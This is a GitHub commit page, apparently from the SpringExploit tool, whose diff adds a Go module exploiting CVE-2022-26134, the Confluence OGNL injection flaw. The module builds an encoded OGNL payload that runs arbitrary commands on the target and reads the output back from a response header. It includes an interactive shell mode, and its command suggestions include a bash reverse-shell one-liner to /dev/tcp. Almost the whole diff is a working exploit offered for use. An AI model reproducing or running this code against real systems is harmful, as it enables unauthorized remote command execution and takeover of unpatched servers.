generated from SummerSec/template
-
Notifications
You must be signed in to change notification settings - Fork 53
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
18 changed files
with
445 additions
and
90 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,89 @@ | ||
| package _022 | ||
|
|
||
| import ( | ||
| "fmt" | ||
| req2 "github.com/SummerSec/SpringExploit/cmd/commons/req" | ||
| resp2 "github.com/SummerSec/SpringExploit/cmd/commons/resp" | ||
| "github.com/SummerSec/SpringExploit/cmd/commons/utils" | ||
| "github.com/c-bata/go-prompt" | ||
| "github.com/imroc/req/v3" | ||
| log "github.com/sirupsen/logrus" | ||
| ) | ||
|
|
||
| type CVE202226134 struct{} | ||
|
|
||
| func (t CVE202226134) SendPoc(target string, hashmap map[string]interface{}) { | ||
|
|
||
| reqmap := req2.NewReqInfoToMap(hashmap) | ||
| reqmap["method"] = "GET" | ||
| headers := map[string]string{ | ||
| "User-Agent": utils.GetUA(), | ||
| "Accept": "*/*", | ||
| "Accept-Encoding": "gzip, deflate", | ||
| } | ||
| reqmap["headers"] = headers | ||
|
|
||
| randStr := utils.GetCode(10) | ||
| cmd := "echo " + randStr | ||
| //cmd := "echo%20" + randStr + "%7c%62%61%73%65%36%34%20%2d%64" | ||
| //cmd = "ifconfig" | ||
| if hashmap["Shell"].(bool) { | ||
| log.Info("[+] Start CVE-2022-26134 Shell Mode") | ||
| th := prompt.Input("[+] Please input command: ", t.completer) | ||
| if th == "" { | ||
| th = "whoami" | ||
| } | ||
| cmd = th | ||
| } | ||
| payload := fmt.Sprintf("${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(\"%s\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))}", cmd) | ||
| payload, _ = req2.Encode(payload, "utf8") | ||
| target1 := target + payload + "/" | ||
|
|
||
| //log.Debug("[+] Target: ", target) | ||
| reqmap["url"] = target1 | ||
|
|
||
| resp := utils.Send(reqmap) | ||
|
|
||
| res := resp2.HandlerRespHeader(resp, "X-Cmd-Response") | ||
| if t.CheckExp(resp, target1, hashmap) { | ||
| if res != "" { | ||
| //res = utils.DecodeBase64String(res) | ||
| log.Infof("[+] Success CVE-2022-26134 %s", target) | ||
| if hashmap["Shell"].(bool) { | ||
| log.Infof("[+] 命令执行结果: %s", res) | ||
| log.Info("[+] End CVE-2022-26134 shell") | ||
| } else { | ||
| result := fmt.Sprintf(" %s 存在 CVE-2022-26134 漏洞, 可以使用 SpringExploit -u %s -p CVE202226134 -shell 进入交互式执行命令", target1, target1) | ||
| t.SaveResult(result, hashmap["Out"].(string)) | ||
| } | ||
| } | ||
| } | ||
|
|
||
| } | ||
|
|
||
| func (CVE202226134) SaveResult(target string, file string) { | ||
| log.Info(target) | ||
| err := utils.SaveToFile(target, file) | ||
| if err != nil { | ||
| log.Debugf("[-] Save result error: %s %s", target, err) | ||
| return | ||
| } | ||
| } | ||
|
|
||
| func (CVE202226134) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool { | ||
|
|
||
| if !resp.IsSuccess() { | ||
| return true | ||
| } else { | ||
| return false | ||
| } | ||
|
|
||
| } | ||
|
|
||
| func (t CVE202226134) completer(d prompt.Document) []prompt.Suggest { | ||
| s := []prompt.Suggest{ | ||
| {Text: "id", Description: "you can type command {id}"}, | ||
| {Text: "bash", Description: "you can type command bash -c $@|bash 0 echo bash -i >& /dev/tcp/127.0.0.1/8090 0>&1"}, | ||
| } | ||
| return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true) | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.